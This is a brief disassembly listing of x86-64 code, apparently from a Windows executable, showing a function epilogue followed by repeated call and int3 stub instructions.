mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001560
nop
call fcn.1400014c0
int3
call fcn.1400014c0
int3
call fcn.1400014c0
int3
call fcn.1400014c0
int3
call fcn.1400014c0
int3
call fcn.140001560
int3
call fcn.140001560
int3
call fcn.140001560
int3
call fcn.140001560
int3
call fcn.140001560
int3